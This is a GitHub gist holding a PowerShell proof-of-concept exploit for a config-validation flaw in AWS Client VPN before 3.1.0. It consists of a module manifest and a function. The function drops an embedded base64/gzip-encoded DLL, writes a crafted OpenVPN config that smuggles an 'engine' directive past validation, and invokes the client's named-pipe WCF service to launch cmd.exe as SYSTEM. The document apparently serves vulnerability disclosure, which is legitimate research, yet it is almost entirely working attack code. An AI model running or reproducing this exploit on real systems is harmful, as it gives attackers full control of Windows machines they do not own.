Last active
June 15, 2022 12:14
-
-
Save ykoster/f7968ed1c23769d513a4641c84ec0673 to your computer and use it in GitHub Desktop.
AWS Client VPN < 3.1.0 OpenVPN config validation flaw can be used to escalate privileges (proof of concept)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<# | |
Usage: | |
Import-Module .\Invoke-ExploitAWSVPNLPE.psd1 | |
Invoke-ExploitAWSVPNLPE | |
#> | |
@{ | |
RootModule = 'Invoke-ExploitAWSVPNLPE.psm1' | |
ModuleVersion = '1.0' | |
GUID = '656e7aa1-797d-42c9-ac70-4d50378f5457' | |
Author = 'Yorick Koster' | |
CompanyName = 'Securify B.V.' | |
Copyright = '(c) Yorick Koster. All rights reserved.' | |
Description = 'AWS VPN Client exploit module to run cmd.exe with SYSTEM privileges' | |
RequiredAssemblies = @("System.ServiceModel", | |
"$env:ProgramFiles\Amazon\AWS VPN Client\AWSVPNClient.Core.dll", | |
"$env:ProgramFiles\Amazon\AWS VPN Client\AWSVPNClient.Service.exe") | |
FunctionsToExport = @("Invoke-ExploitAWSVPNLPE") | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Function Invoke-ExploitAWSVPNLPE { | |
$tmpfolder = "$env:TEMP\" + [System.Guid]::NewGuid() | |
New-Item -Type Directory -Path $tmpfolder | Out-Null | |
# create engine payload | |
# https://bugs.chromium.org/p/project-zero/issues/attachment?aid=226456&signed_aid=FXLb7IFsO5A2ZIlQ8sV8kA== | |
$EncodedCompressedFile = "H4sICMe/V2IAA2RiZ2hlbHAuZGxsAOxafXRb1ZG/Tx+2HNuRQ+LUQEgeIIPdEldyAhtDACuWyxM8Uyd2YgghthPLxIsjq/JTbNhAE2TBvj7Umo/2sNtTlvaU3RTKwp6y5ONwFtkOsQO0mDRA0lAICYWnOizptpt1Q2rtb+57liWRlvb0j23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7kHd2jfurew1FrCz7C6+ng/wj/jP/HbxivhF1Hh13lZvhd/lu37Bv5irDL4MUMIOdfuwaPBGg7NBlayXY3JCfibPyyWqVWvjuJpS55SV35xHLXboV6/jGmiEvYAG7dBW78EBd5gP5x40usrOlTm43uHiEVmbv5JH2A597HuiD+N2KHtMe2ZR+9da0k7e0J5c1tpshzGYhDgVtEwTTr/zsVNyZp2om3QHXexOuiV3AdvA+plgk2wBT3L96xTWOyb/tTfzP6HfAKIEiYEAOAAA" | |
$DeflatedStream = New-Object System.IO.Compression.GZipStream([System.IO.MemoryStream][System.Convert]::FromBase64String($EncodedCompressedFile), [System.IO.Compression.CompressionMode]::Decompress) | |
$dll = New-Object byte[] 14336 | |
$DeflatedStream.Read($dll, 0, $dll.Length) | Out-Null | |
$DeflatedStream.Close() | Out-Null | |
Set-Content -Path "$tmpfolder\foo.dll" -Encoding Byte $dll | |
# create config files | |
$timestamp = [ACVC.Core.Utils.DateUtils]::SecondsSinceEpoch() + 1000000000 | |
Set-Content -Path "$tmpfolder\acvc-8096.txt" "password" | |
Set-Content -Path "$tmpfolder\lpe.ovpn" "dev tap | |
client | |
remote 127.0.0.1 1337 | |
<ca> | |
</ca> | |
<cert> | |
</cert> | |
<key> | |
</key> | |
verb `r<cert> | |
engine $($tmpfolder.Replace('\', '\\'))\\foo | |
;</cert>" | |
Set-Content -Value "$tmpfolder\lpe.ovpn`n$timestamp" -Path "$tmpfolder\current_connection.txt" | |
# call WCF service | |
$binding = New-Object System.ServiceModel.NetNamedPipeBinding | |
$endpoint = "net.pipe://localhost/com.amazonaws.acvc.wpf/service" | |
$factory = New-Object System.ServiceModel.ChannelFactory[ACVC.WPF.Service.Wcf.IOvpnProcessRunner]($binding, $endpoint) | |
$client = $factory.CreateChannel() | |
$client.Start("$tmpfolder\current_connection.txt", "$tmpfolder\acvc-8096.txt") | |
$factory.Close() | |
# clean up | |
Start-Sleep 10 | |
Remove-Item $tmpfolder -Force -Recurse | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment